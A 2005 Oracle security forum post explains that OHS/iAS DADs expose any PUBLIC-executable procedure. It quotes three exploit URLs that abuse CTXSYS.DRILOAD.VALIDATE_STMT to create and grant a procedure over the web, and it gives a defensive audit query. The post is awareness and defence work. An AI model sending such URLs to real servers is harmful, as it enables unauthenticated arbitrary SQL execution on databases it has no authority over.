Call: +44 (0)1904 557620 Call
Forum
Home/Forum

Welcome, Guest. Please Login.
Apr 24th, 2024, 2:19pm
News: Welcome to Pete Finnigan's Oracle security forum
Home | Help | Search | Members | Login
   Pete Finnigan's Oracle Security Forum
   Oracle Security
   Oracle Security (Moderator: Pete Finnigan)
   Exploiting iAS/OHS - DB Hackers Handbook reference		 « Previous topic | Next topic »
Pages: 1  Reply | Notify of replies | Send Topic | Print
   Author  Topic: Exploiting iAS/OHS - DB Hackers Handbook reference  (Read 3027 times)
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
 Posts: 309
Exploiting iAS/OHS - DB Hackers Handbook reference
« on: Aug 5th, 2005, 8:31pm »		 Quote | Modify
Naively I suppose, I thought that when you created a DAD for a database user account that will serve up stored procedures from the database, the specified DAD was limited to objects owned by the DAD user.
 
Apparently, this is not the case.  When you create a DAD for OHS/iAS and point it to the database, users who can access the DAD can run *any* procedures on the database with the privileges of the DAD user, without being limited to the objects in the DAD user's schema.
 
Of course, this exposes the database to the problem of PUBLIC procedures.  In the Database Hackers Handbook, this is clearly illustrated by exploiting the CTXSYS.DRILOAD.VALIDATE_STMT procedure:
 
http://myohs:7777/pls/mydad/ctxsys.driload.validate_stmt?sqlstmt=CREATE+ OR+REPLACE+PROCEDURE+WEBTEST+AS+BEGIN+HTP.PRINT('Hello%20ctxsys');+END;
http://myohs:7777/pls/mydad/ctxsys.driload.validate_stmt?sqlstmt=GRANT+E XECUTE+ON+WEBTEST+TO+PUBLIC;
http://myohs:7777/pls/mydad/ctxsys.webtest
 
I spewed ice coffee on my keyboard after the last URL when my web browser said "Hello ctxsys".  Because we are using ctxsys.driload.validate_stmt for something it wasn't intended to be used for, it returns an error which caused mod_plsql to return a 404 to the client.  Even though we get a 404, the database is actually executing the commands we specify.  Nasty, nasty.
 
By default, OHS/iAS excludes several packages from being accessible by web users including sys.*, dbms_*, utl_*, owa_util.showsource, and owa_util.cellsprint.  This is all fine and good, but wouldn't it make more sense to have an inclusive option where I can specify only a limited number of packages that are accessible?  Otherwise, this is the problem we have to deal with for securing the database from unauthenticated web attacks:
 
Code:

select t.owner || '.' || t.table_name ohs_accessible
from dba_tab_privs t, dba_objects o
where t.table_name = o.object_name and
t.grantee = 'PUBLIC' and t.privilege = 'EXECUTE'
and t.owner <> 'SYS' and t.table_name not like 'DBMS_%'
and t.table_name not like 'UTL_%'
and t.table_name <> 'OWA_UTIL'
and o.object_type in ('PROCEDURE', 'FUNCTION', 'PACKAGE')
/

 
This query returns 196 rows on my Linux 9.2.0.1.0 EE installation, from the OLAPSYS, LBACSYS, WKSYS, XDB, MDSYS and ORDPLUGINS schema owners.  NOTE: This query takes a long time to execute as it joins dba_tab_privs and dba_objects.  Don't run this in the middle of the day on your production databases.
 
 
One would think that the preferrred configuration option would be to allow the DAD user to only execute objects that he owns.  Sadly, I continue to be disappointed with the configuration and flexibility of Oracle security.
 
-Josh
IP Logged
Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pages: 1  Reply | Notify of replies | Send Topic | Print

« Previous topic | Next topic »

Powered by YaBB 1 Gold - SP 1.4!
Forum software copyright © 2000-2004 Yet another Bulletin Board
  • PFCLScan PFCLScan

    Simply connect PFCLScan to your Oracle database and it will automatically discover the security issues that could make your Oracle database vulnerable to attack and to the potential loss of your data.

    Learn more
  • PFCL Obfuscate PFCLObfuscate

    PFCLObfuscate is the only tool available that can automatically add license controls to your PL/SQL code. PFCLObfuscate protects your Intellectual Property invested in your PL/SQL database code.

    Learn more
  • PFCLCode PFCLCode

    PFCLCode is a tool to allow you to analyse your PL/SQL code for many different types of security issues. PFCLCode gives you a detailed review and reports and includes a powerful colour syntax highlighting code editor

    Learn more
  • PFCLForensics PFCLForensics

    PFCLForensics is the only tool available to allow you to do a detailed live response of a breached Oracle database and to then go on and do a detailed forensic analysis of the data gathered.

    Learn more
  • Products We resell PFCLReselling

    PeteFinnigan.com Limited has partnered with a small number of relevant companies to resell their products where they enhance or compliment what we do

    Learn more
  • PFCLATK PFCLATK

    PFCLATK is a toolkit that allows detailed pre-defined policy driven audit trails for your Oracle database. The toolkit also provides for a centralised audit trail and centralised activity reporting

    Learn more
  • PFCLCookie PFCLCookie

    PFCLCookie is a useful tool to use to audit your websites for tracking cookies. Scan websites in a natural way using powerful browser driven scanner

    Learn more
  • PFCL Training PFCLTraining

    PFCLTraining is a set of expert training classes for you, aimed at teaching how to audit your own Oracle database, design audit trails, secure code in PL/SQL and secure and lock down your Oracle database.

    Learn more
  • PFCL Services PFCLServices

    Choose PFCLServices to add PeteFinnigan.com Ltd to your team for your Oracle Security needs. We are experts in performing detailed security audits, data security design work and policy creation

    Learn more
  • PFCLConsulting PFCLConsulting

    Choose PFCLConsulting to ask PeteFinnigan.com Limited to set up and use our products on your behalf

    Learn more
  • PFCLCustom PFCLCustom

    All of our software products can be customised at a number of levels. Choose this to see how our products can be part of your products and services

    Learn more
  • PFCLCloud PFCLCloud

    Private cloud, public cloud, hybrid cloud or no cloud. Learn how all of our services, trainings and products will work in the cloud

    Learn more
  • PFCLUserRights PFCLUserRights

    PFCLUserRights allows you to create a very detailed view of database users rights. The focus of the reports is to allow you to decide what privileges and accounts to keep and which to remove.

    Learn more
  • PFCLSTK PFCLSTK

    PFCLSTK is a toolkit application that allows you to provide database security easily to an existing database. PFCLSTK is a policy driven toolkit of PL/SQL that creates your security

    Learn more
  • PFCLSFTK PFCLSFTK

    PFCLSFTK is a toolkit that solves the problem of securing third party applications written in PL/SQL. It does this by creating a thin layer between the application and database and this traps SQL Injection attempts. This is a static firewall.

    Learn more
  • PFCLSEO PFCLSEO

    PFCLSEO is a web scanner based on the PFCLScan technology so that a user can easily scan a website for technical SEO issues

    Learn more